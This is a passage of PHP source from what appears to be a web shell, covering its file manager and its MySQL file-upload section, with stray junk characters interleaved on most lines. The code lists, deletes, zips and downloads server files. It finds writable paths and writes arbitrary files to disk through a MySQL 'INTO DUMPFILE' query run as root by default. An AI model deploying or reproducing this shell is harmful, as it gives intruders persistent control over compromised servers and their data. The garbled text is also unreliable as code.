  329.         }! _' V2 D9 o9 I0 ]: @5 ?
  330. % E0 z7 `0 S6 H$ J5 M/ _$ f8 O( U
  331.         // 打包下载
    2 V) x* l& t6 Y' t. n. ]: V* }+ d
  332.         elseif($doing == 'downrar') {% ]) \+ t( s# L# H2 p" B$ Q
  333.                 if ($dl) {
    1 M# \4 n' Y7 b
  334.                         $dfiles='';
      ~& ]+ S' S1 c. }( j+ r
  335.                         foreach ($dl as $filepath => $value) {0 O1 e% ~$ k4 u1 S
  336.                                 $dfiles.=$filepath.',';7 x3 B" q. \8 L! {
  337.                         }
    2 c6 M2 o# |- L$ L/ Q9 o- V
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);, H; Q) @8 S0 k. L1 m
  339.                         $dl=explode(',',$dfiles);
    " R5 u: U4 l* `9 @7 p+ @
  340.                         $zip=new PHPZip($dl);
    * z6 \6 @/ @: ?3 \. L2 z- x
  341.                         $code=$zip->out;
    4 O0 z) R2 @% Q7 b- _
  342.                         header('Content-type: application/octet-stream');
    8 N" [5 p% k/ w5 s( @3 Q- x
  343.                         header('Accept-Ranges: bytes');
    9 H# {. I" Z- m8 ]6 D( U
  344.                         header('Accept-Length: '.strlen($code));
    * s2 Y4 ]0 \" ?; d* l2 A
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
    ' R4 r, `3 V- Q6 p' o7 d
  346.                         echo $code;
    / y2 o9 t7 ?1 ?/ y: }5 b' q% K% ~
  347.                         exit;
    8 M7 ?: j  ~, X4 ~2 F2 O; Z* r# U
  348.                 } else {
    1 @1 ?8 s# ?3 Z" x6 G8 a8 P4 y: f
  349.                         m('Please select file(s)');% ]+ a* @% s, x& U' Z& \
  350.                 }
    ( E* @6 d: ~0 t0 ~7 E6 x
  351.         }
    0 y9 R. [7 I( s# `6 E

  352. " G% G3 U" l" o( E7 D- k
  353.         // 批量删除文件; G# {. ?/ A/ t/ K% ^
  354.         elseif($doing == 'delfiles') {7 S6 r" C; r8 h4 w! M
  355.                 if ($dl) {
    & ]3 O1 K7 Y& [
  356.                         $dfiles='';# e6 K7 o; h; D/ U7 g9 t7 b8 }1 P
  357.                         $succ = $fail = 0;, H+ P1 D$ b) @$ Z9 Y
  358.                         foreach ($dl as $filepath => $value) {
    , Q2 n1 {. ?* k& A3 M8 p; g
  359.                                 if (@unlink($filepath)) {
    6 A- c/ O5 @/ A
  360.                                         $succ++;+ N3 @; j! `  V# s) T1 [
  361.                                 } else {% s2 h1 ^8 _1 b' T; G- H
  362.                                         $fail++;: F; F6 A  h" |) L
  363.                                 }
    % G2 B' z# j. W( i
  364.                         }  V4 T$ U0 L- R: I& r  p/ X
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
    ' e$ u6 z! C$ r* h+ S* C; p
  366.                 } else {6 _8 z3 F; ?/ I* m+ {
  367.                         m('Please select file(s)');
    2 z: m: e. c, b9 N
  368.                 }
    . i' t5 ]! W+ U5 Q. o: ?
  369.         }
    9 S* b- U: U" E9 L

  370. / D9 e- \6 z- t+ h$ [6 Q
  371.         //操作完毕
    / R9 R! G7 ^9 H5 {5 u. [
  372.         formhead(array('name'=>'createdir'));
    . h4 Q; |* m. [" ~% k
  373.         makehide('newdirname');
    2 |5 K# r: D* }/ Z5 s( j; ?
  374.         makehide('dir',$nowpath);
    * s/ i; E% x- H1 D" W
  375.         formfoot();
    , U+ F2 ?+ l1 o3 t& i# U
  376.         formhead(array('name'=>'fileperm'));- k/ T  U  i$ C1 k. J$ {
  377.         makehide('newperm');6 {5 l% X- U  r
  378.         makehide('pfile');5 D* d! @6 V" a
  379.         makehide('dir',$nowpath);
    9 n( Q3 ?: D9 s) V, q5 G6 C  U) E
  380.         formfoot();
    ; D! n, O% |  ?& Z& c) K& M
  381.         formhead(array('name'=>'copyfile'));# R2 H$ B$ f) j
  382.         makehide('sname');; b# C6 B% T7 m
  383.         makehide('tofile');
    6 K& {! ~' [3 Q. L2 c: V! @, Y
  384.         makehide('dir',$nowpath);9 r( d# H  o3 a$ j& `6 ?
  385.         formfoot();' d- V2 Y+ L8 _; T- l9 ^( o
  386.         formhead(array('name'=>'rename'));0 _. E, r+ ^9 I' |/ ~. }' v- e
  387.         makehide('oldname');
    ! G' ~  r$ Z8 p" W+ i
  388.         makehide('newfilename');
    ) J9 t/ _& a( a7 _7 O2 x
  389.         makehide('dir',$nowpath);7 W/ Z- Z" o. {7 \5 O* {0 d. h
  390.         formfoot();
    : a3 B8 O  g/ k3 ], y
  391.         formhead(array('name'=>'fileopform'));
    $ u6 ?4 a( A2 D1 Z& f1 n: p' Q
  392.         makehide('action');9 h# {5 u/ S1 K& d* P
  393.         makehide('opfile');
    ' _" @/ v3 i7 Z9 p& t5 I
  394.         makehide('dir');
    : ^- ]8 r# c! R5 y- I: N2 C3 M
  395.         formfoot();
    / p+ s% W0 f: R" S
  396. ; X5 u. i, O& `& H% L/ R! h" Y5 }
  397.         $free = @disk_free_space($nowpath);
    " Y: ]1 u( d& Y7 D$ n4 _' s
  398.         !$free && $free = 0;& v' Q0 L* e5 T1 W# c
  399.         $all = @disk_total_space($nowpath);
    7 Y, x7 R' L4 o0 u1 x4 c# h
  400.         !$all && $all = 0;% E5 ~0 f5 e7 H! C
  401.         $used = $all-$free;
    ' m5 [  l. s/ `1 U% _0 j6 |
  402.         $used_percent = @round(100/($all/$free),2);; |# t  D' f+ B  a8 h) p
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');1 n* e7 ~! T3 ]! w+ ^$ \1 G

  404. % q- p. m; @: N" D: o
  405. ?>
    * W" f. O5 Q" v; s" b9 B
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">/ W$ r& A8 z8 v) `" `( ]  k
  407.   <form action="" method="post" id="godir" name="godir">6 d" q2 {1 }7 }. r1 @
  408.   <tr>9 d; P% A* r/ c+ ^
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    , {* {$ O0 ~* O2 _1 I
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    0 g" I! B$ ?8 E, ^
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
    % {9 M; U. M3 g" F: ^8 |
  412.   </tr>
    & I: I# a7 x) I6 c9 v
  413.   </form>4 T9 D# |5 F1 [" v" o
  414. </table>
    ) Z& \1 O& s: o' ~1 b" s1 V
  415. <script type="text/javascript">
    # Y1 l# v: a/ @$ t+ s; v- H
  416. function createdir(){
    # X# ]/ X( q2 L8 ]- S
  417.         var newdirname;
    & A/ b8 f; w2 k6 W+ s) f' G
  418.         newdirname = prompt('Please input the directory name:', '');. r  x+ W3 D6 ?" G
  419.         if (!newdirname) return;) t1 m* o8 k) t5 }
  420.         $('createdir').newdirname.value=newdirname;
    ' E' J& @+ q# Q% |: `: V: P( ~
  421.         $('createdir').submit();
    # Z& Z" {3 B5 i. z, U/ R. Z4 A
  422. }* R7 d3 L7 m  Y  V% d+ U, d: U& b3 j
  423. function fileperm(pfile){
    $ c) @2 P& g; c+ H, F- n
  424.         var newperm;
    , l3 ]4 T) V/ \, b5 s/ l% I9 `
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    3 l8 u2 C" t: l; y! Y9 c& r
  426.         if (!newperm) return;
    ' c, d3 r3 {$ p% i
  427.         $('fileperm').newperm.value=newperm;( [% {1 E; |) L- _; o
  428.         $('fileperm').pfile.value=pfile;$ n  Z7 M( k: u' f8 r& [
  429.         $('fileperm').submit();9 }2 D# o/ R" j7 q! ?1 f/ T: ^) A
  430. }3 d) |) a; k. f. d  |* g3 |
  431. function copyfile(sname){; O! _% A- P3 X- L3 f  l
  432.         var tofile;
    7 F3 A/ c* V% v( t, N
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    0 M% ~* \' j+ {( P5 A4 Z/ u' b
  434.         if (!tofile) return;' J! ?2 G1 Z: [% p) D# n2 w
  435.         $('copyfile').tofile.value=tofile;( k0 s3 n3 @1 c
  436.         $('copyfile').sname.value=sname;' b( M. ?. V: t$ B
  437.         $('copyfile').submit();
    4 y" d% V( F8 \) K: S0 ~! i
  438. }0 z$ c5 s  {; S# S2 _7 k+ o
  439. function rename(oldname){
    . \$ ^& b9 O$ O1 s3 U
  440.         var newfilename;. w% |2 H) g5 d- U5 Z
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    & t. W' q3 p/ r% S/ ?* S  y+ f- ?
  442.         if (!newfilename) return;6 g/ s' X2 z. H( t% e# j' f7 X
  443.         $('rename').newfilename.value=newfilename;
      X2 e+ ^7 _+ P8 v/ i4 W
  444.         $('rename').oldname.value=oldname;
    : Y$ P) T3 M: t8 r7 x$ t6 Z
  445.         $('rename').submit();
    ) A  i" P% |$ d+ |! f, w6 p
  446. }! }! T" Q/ R8 B- ^/ s. r9 f. M
  447. function dofile(doing,thefile,m){
    5 C; w' E- [7 l/ t% m4 ~
  448.         if (m && !confirm(m)) {
    " L9 s* r. f$ I5 v
  449.                 return;
    ! D" K* S" B; L- o7 B8 W7 G
  450.         }
    " v/ ]/ f: U' ~9 e( r
  451.         $('filelist').doing.value=doing;
    ) u8 r$ ?3 @- p3 I0 C
  452.         if (thefile){
    + c4 j. P# o5 _5 z
  453.                 $('filelist').thefile.value=thefile;
    6 V6 Y/ F5 p) E" F
  454.         }; \% w2 o/ k/ a1 z: a
  455.         $('filelist').submit();
    * O* z9 L3 K% \3 _; |( U
  456. }2 D! O4 h, d3 T# E2 m
  457. function createfile(nowpath){, S) {9 R( ]: d
  458.         var filename;' P: r3 t# {' n4 }2 s( W
  459.         filename = prompt('Please input the file name:', '');
    ! w8 s4 C6 F5 x0 ?2 `+ d# d
  460.         if (!filename) return;
    , U( N2 L; V2 T. u# }  D
  461.         opfile('editfile',nowpath + filename,nowpath);6 v- \: P# ~8 `. L* Q5 n* M  F0 l! F
  462. }  k) A# G% v' e
  463. function opfile(action,opfile,dir){
    # D1 Y- ^3 M! S4 K6 F
  464.         $('fileopform').action.value=action;
    , w3 e8 q9 g+ T
  465.         $('fileopform').opfile.value=opfile;
    ; T5 p/ ~" o1 E% N
  466.         $('fileopform').dir.value=dir;0 Z0 Y$ I9 c& r4 R9 a
  467.         $('fileopform').submit();
    7 Z  E9 A" T' W- V& c
  468. }
    9 a& n" H* i: G- _! q3 W0 w3 A
  469. function godir(dir,view_writable){
    3 _$ M6 n+ x/ H1 n
  470.         if (view_writable) {
    5 l' ~+ g# x# ]$ @
  471.                 $('godir').view_writable.value=1;
    & d% @$ i/ ]5 V+ B
  472.         }6 z7 U% f5 ^  i5 `% u
  473.         $('godir').dir.value=dir;5 L3 j) G# P9 D; r# C* a# H
  474.         $('godir').submit();
    ' c2 n2 S6 G* N( j1 v
  475. }7 X+ [/ ]$ B; B, E5 {" Y
  476. </script>
    & l' }9 c! |/ C, |
  477.   <?php
    3 j6 f4 K# X* C, k! h' e7 T' f
  478.         tbhead();
    ; Q' J0 h5 q) F4 x/ ?; Z
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    " C0 W' M5 `7 L
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');) q2 x7 Z- G/ z# C# Y& O, L
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');3 e6 i) H$ Z- Q! `3 @2 b3 ^
  482.         if ($view_writable) {0 g; X& P% V9 X- M
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');' F" N& x" w/ p
  484.         } else {0 q. D, ^' U/ |8 U: z
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');2 W- l* {7 R. ?# Z( ]' ^
  486.         }+ v2 L; A3 z' }  \) G0 @9 \! U
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');  V7 O* W. g, k! B2 S; \' ?5 C
  488.         if (IS_WIN && IS_COM) {
    3 Z) x  k3 `' j: }/ i4 x! D0 f
  489.                 $obj = new COM('scripting.filesystemobject');& E& Q# ^- s) ~: }' t; c* c9 z. m
  490.                 if ($obj && is_object($obj)) {- J) j9 k; x/ H' B- P9 W1 M  w
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    ! x* W8 E7 k/ K  d) W9 Y
  492.                         foreach($obj->Drives as $drive) {
    ) H% M* b) m3 g& o4 N6 w, @
  493.                                 if ($drive->DriveType == 2) {4 k2 @1 P. j8 }
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    : l% n+ _2 [7 y5 ~9 X! y
  495. Free:'.sizecount($drive->FreeSpace).'7 h' J/ J% c6 o& a9 ~7 C! j, M
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');# s+ w. n' C7 o
  497.                                 } else {4 p9 a; x! x! |0 s
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    5 U! K. X/ e5 q: V+ P* O
  499.                                 }
    ) L0 N6 z( c( n# _
  500.                         }
    - P* ^6 c& A& f
  501.                 }
    , |! I. @( `; G; o
  502.         }
    # v5 \  J) s9 U3 f  p7 V7 H- ^
  503. ' P/ c3 F# E$ T( |% w
  504.         p('</td></tr></form>');( K& I" q" ?, g! R& U- f+ h+ u: k+ w
  505. 2 g1 o, E! {8 H; c$ D
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    7 N" a8 N4 ~3 \% ~

  507. # V7 Z" o9 V8 {
  508.         //查看所有可写文件和目录
    5 i+ v- L4 n7 r, o. s' ?
  509.         $dirdata=array();0 D5 Q7 n& v# Z$ M  E
  510.         $filedata=array();" @6 N1 U  `0 T6 m  r2 {
  511. 7 R* S8 Z' O( J+ ?% R& \3 E* H
  512.         if ($view_writable) {
    & k! Q* {! Q' I$ C. d
  513.                 $dirdata = GetList($nowpath);9 G8 ^8 u6 e" R2 }: [2 \4 b$ u
  514.         } else {( t0 ?6 o  _$ l: G+ v
  515.                 // 目录列表
    & Q# H( V5 w  F1 Q: {& P! j
  516.                 $dirs=@opendir($dir);
    $ P: F' j: J5 R0 G
  517.                 while ($file=@readdir($dirs)) {: x6 o3 s5 F' X( {' {
  518.                         $filepath=$nowpath.$file;& O2 ^+ s( W* L' r
  519.                         if(@is_dir($filepath)){5 o2 W2 l6 I) p, C- e, [
  520.                                 $dirdb['filename']=$file;
    / ]% V4 W5 U3 N
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    ) S. _2 G( o& }8 s! l
  522.                                 $dirdb['dirchmod']=getChmod($filepath);
    2 U% @4 b1 [) S  Q5 q- Z
  523.                                 $dirdb['dirperm']=getPerms($filepath);4 f% h) w9 Z% r* O* Y: I; Z
  524.                                 $dirdb['fileowner']=getUser($filepath);
    . {, s" F& w5 h. {, m
  525.                                 $dirdb['dirlink']=$nowpath;1 o6 p6 U2 c: V" I4 y
  526.                                 $dirdb['server_link']=$filepath;1 S" @4 k: M6 W) p8 A* N: r& P
  527.                                 $dirdb['client_link']=ue($filepath);" b1 a' h- D' @0 K% U
  528.                                 $dirdata[]=$dirdb;7 K7 `% |& K) M9 {2 l/ _
  529.                         } else {               
    - X) v8 ^! }. j' P3 a/ U
  530.                                 $filedb['filename']=$file;% y8 _7 d+ Y7 W$ `' U& K) z0 {
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    : J0 r6 q0 M4 D* L: v
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));! q7 s# }) N4 C: t( v
  533.                                 $filedb['filechmod']=getChmod($filepath);
    . H% U) ?) k4 Z& I) o) i
  534.                                 $filedb['fileperm']=getPerms($filepath);
    / }# C. L& b% Z4 A0 S( y2 {
  535.                                 $filedb['fileowner']=getUser($filepath);
    3 w. I0 o$ @5 j/ u
  536.                                 $filedb['dirlink']=$nowpath;# O9 D; |* x2 G* I& z9 i, Z
  537.                                 $filedb['server_link']=$filepath;
    / y- F) }  p; p9 q; |
  538.                                 $filedb['client_link']=ue($filepath);1 s9 f$ O: c% A
  539.                                 $filedata[]=$filedb;( c) W* ?; T# U0 D  `: F
  540.                         }2 R) E" ?% b  o% [, s
  541.                 }// while9 m+ a. Q; w5 Q4 o
  542.                 unset($dirdb);
    * @5 M# T7 {; v$ m8 F
  543.                 unset($filedb);
    ' Z; d1 H2 j1 s# e' D
  544.                 @closedir($dirs);
    * g; r  h5 C$ a: j
  545.         }' n0 \' R  G% M  ]; |0 y/ R" H7 k
  546.         @sort($dirdata);
    # P  [- @8 M. p
  547.         @sort($filedata);
    0 X# T% ]" F, }& g' w5 C/ m
  548.         $dir_i = '0';9 w. t' G. L( z: `( H1 q% j+ a
  549.         foreach($dirdata as $key => $dirdb){% k- Q* g+ }' L- T6 }! h3 W" C
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {! j1 d* `/ ]: w6 I; O' Q
  551.                         $thisbg = bg();( y6 ?8 {2 }9 X/ j3 O% W
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    $ g8 `. Z( E- a6 F& P) K1 o
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
    , N9 \1 ~+ h4 x# p7 S
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');# G1 u5 J* J& ^. E/ k4 c
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    ; }5 J& V6 u9 a' `
  556.                         p('<td nowrap>--</td>');
    7 [- e# _8 k: Q( o
  557.                         p('<td nowrap>');
    / n  U6 O8 ~+ u1 J4 r! a
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    : T- Q9 `  U3 M9 W# g
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');5 Q) S1 R: g9 G
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    4 P" G! x) p2 x5 q. k2 w0 R
  561.                         p('</tr>');
    , k4 e8 @0 V! ~  O5 w$ }% Q
  562.                         $dir_i++;: o; i+ {: ?+ F- M! h7 l
  563.                 } else {+ x/ u0 Y2 b6 \+ L% }
  564.                         if($dirdb['filename']=='..') {0 w5 R1 Y# B+ e. _9 b% |5 h: X6 l' p
  565.                                 p('<tr class='.bg().'>');
      S8 ?  k/ X2 ~+ K
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');, V2 _, I( q$ ]; G/ t
  567.                                 p('</tr>');
    # |; P2 h' o* n& ]! w/ F  ^
  568.                         }2 ]! R% S0 R2 S/ d
  569.                 }
    1 U; d" b; f* X! o( s# a
  570.         }& ?! B8 v; T! Q# [5 `$ C7 I) K% T

  571. 7 G. F1 A; I# c6 R
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');7 r6 T/ a: q& }0 D7 l4 T% v5 ]
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    0 {, }8 k+ D" S, v2 V  g+ l
  574.         makehide('action','file');
    : w2 R+ _& K0 q
  575.         makehide('thefile');/ R1 K1 P  T8 T* E7 d- G2 _3 F
  576.         makehide('doing');% H# H6 k( P+ ~$ T3 z
  577.         makehide('dir',$nowpath);; @% P1 b/ K6 b8 L
  578.         $file_i = '0';
    . a  s2 y* R0 S7 @" R& @8 w
  579.         foreach($filedata as $key => $filedb){4 f+ y# f( ]. ]. _, n
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {2 _+ F/ Q# \9 E+ @$ u% b
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);: D2 I0 r: N, S- I
  582.                         $thisbg = bg();
    3 m4 f. ]8 y) I  ~3 t: M: \
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    / \& e$ N9 Q& V7 P0 A- {
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    " f6 `8 Q. L! o
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');8 O' {3 u5 \; V$ {
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');* o( `% N3 R, w; I
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    . ~  }8 C- y5 l- W: j  W* ]* ~& ~: |
  588.                         p('<td nowrap>');
    / ~9 H8 a$ E1 K2 s- J
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    4 ^9 n/ ^8 ^' E. X7 E1 L5 e2 Z: m* y
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');* ?/ ^. q/ X/ ~1 d# h
  591.                         p('<td nowrap>');
    6 b% x: _% e# C) S: z( c: |5 O
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');% Q1 |0 }4 \8 {  F) O6 F1 }
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');4 G2 y; ]) c6 @
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');$ R% a3 w: W+ W, w6 c; Q) L* n
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');' u9 F9 A4 L  M/ i1 j4 L% J
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');* Z" Q% ~; ?5 T$ w! J
  597.                         p('</td></tr>');! |" E  W& H8 i/ F) m, A
  598.                         $file_i++;
    4 V9 E6 ]; ~$ n6 B, k. D% ?7 _
  599.                 }
    + d. M% [% X( D) W" x1 x  z( [
  600.         }
    ; w" v  a- U1 X7 O* `4 n
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');  t: c6 \; b1 G: b& e
  602.         p('</form></table>');
    9 w6 x& p$ @/ u; D( y
  603. }// end dir
    3 c5 n& n/ b9 O: m; {) b

  604. ; X5 p- |: g2 e1 {5 r3 p
  605. elseif ($action == 'sqlfile') {
    ' [0 L( K4 A7 ^7 r
  606.         if($doing=="mysqlupload"){
    $ i! C* e& `0 r
  607.                 $file = $_FILES['uploadfile'];
    0 S1 n2 V; {* V5 W! `
  608.                 $filename = $file['tmp_name'];4 G) B/ J% g& j$ x
  609.                 if (file_exists($savepath)) {
    7 q  F, ]3 j) a1 f
  610.                         m('The goal file has already existed');+ r' c8 n. N8 o( t. J1 }
  611.                 } else {
    1 Z) M; I, u( V
  612.                         if(!$filename) {
    ( v9 h; T, J$ u4 A
  613.                                 m('Please choose a file');7 H5 t" ?6 b  {" j4 t
  614.                         } else {. y3 ^/ ^; U: A: h0 K9 J' Z
  615.                                 $fp=@fopen($filename,'r');4 T0 A* f8 ?; n( k) @
  616.                                 $contents=@fread($fp, filesize($filename));. i' o) @% V! {+ I8 o' u- x7 ], U
  617.                                 @fclose($fp);# M' Y% `% K7 x- x# F4 n
  618.                                 $contents = bin2hex($contents);
    ! u- C/ g2 K/ D0 c
  619.                                 if(!$upname) $upname = $file['name'];( _  v8 C" \) F( L
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);& S8 B3 q9 j) r
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    / U' L' a) \& g  |2 w8 r
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());' ]4 h2 l/ M7 s- j7 R- _
  623.                         }+ m0 B( @9 S5 z8 Y
  624.                 }
    0 a8 N  f. M8 D# g5 l
  625.         }
    / D* _$ R7 J5 ~: D. w% j6 F; R3 _
  626. ?># Y* V" ^5 G' F3 K- W
  627. <script type="text/javascript">- Z, U% R3 }% A8 |
  628. function mysqlfile(doing){4 s& o0 O1 l" K( w
  629.         if(!doing) return;, H4 N- w7 [4 q# {0 g
  630.         $('doing').value=doing;
    5 f, X2 q0 @9 I' @# ~9 ?
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;  \" P+ ?  @9 \) c! V& y
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;  V. v4 E6 a+ j- U! T: u
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    ; M$ m+ [6 t  X8 x- U- W
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
      J$ R; Y: j0 p+ s# }( v
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    3 @- Y8 W8 p5 M0 |5 Q
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
      k3 c2 I) {3 j/ H
  637.         $('mysqlfile').submit();
    , C8 P; G/ M& v/ S/ u7 S
  638. }8 r' M, ]* m% e/ b; ?
  639. </script>
    & Y" y8 M! r; T
  640. <?php. K4 Q; g" `: Q# ?4 J/ l. V
  641.         !$dbhost && $dbhost = 'localhost';2 N; c, K8 G3 t+ C
  642.         !$dbuser && $dbuser = 'root';* s7 \  p3 j/ d  B5 l$ R, r
  643.         !$dbport && $dbport = '3306';, l% O  ?) y' `9 a0 i
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    0 [4 K7 @. T  F8 q
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    - S. M3 ~! w. e# Z% {
  646.         makehide('action','sqlfile');1 T" s  J$ U2 {9 H
  647.         p('<p>');* Y* X# L* K$ o# f) x) q$ a
  648.         p('DBHost:');
    ( j" R: ]" K- ^! c' a1 S; R
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));) |$ u: K( @  ^# t" @' ~. g
  650.         p(':');2 V1 d& [4 Q( A5 j. x  ^
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));# X0 _1 R: c$ |, o% o3 o4 V1 B
  652.         p('DBUser:');
    $ X7 Y& L: K" j# L2 w# B
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));9 h9 o# X6 |" n: z) I: u2 I
  654.         p('DBPass:');, `& D+ H/ d' L1 A3 V, ]$ q) o
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));2 c3 V' F) B& y6 D! F  {5 y
  656.         p('DBName:');' {) s( G; Q2 b& c4 ]( R! L
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));7 q; b$ w6 z1 p
  658.         p('DBCharset:');
    ( E- D2 X5 h6 n4 \, |# d1 T  x; m& Z4 l
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    ! j+ s3 l( D0 B) S' r8 }+ p. J: i
  660.         p('</p>');0 ~' E$ |1 P: F" x: Y- d  |
  661.         formfoot();
    % }) F( M5 g, \! ]# n) T9 Z7 ?6 h; o
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    , w: S* {( N9 g
  663.         p('<h2>Upload file</h2>');
    ; i' J- q1 k3 p* L
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');% R; m9 Y! l$ T/ L# n! l
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');2 ]9 }5 ]( y$ M5 ^. b, N  L
  666.         p('<h2>Download file</h2>');
    8 B3 Y6 S: N. n1 q
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    , e% c! \+ \, r0 G
  668.         makehide('dbhost');: ]; ?) n7 L! Q) L3 [/ d
  669.         makehide('dbport');& x: A6 y, R* W$ c, h, e5 g4 Q$ s
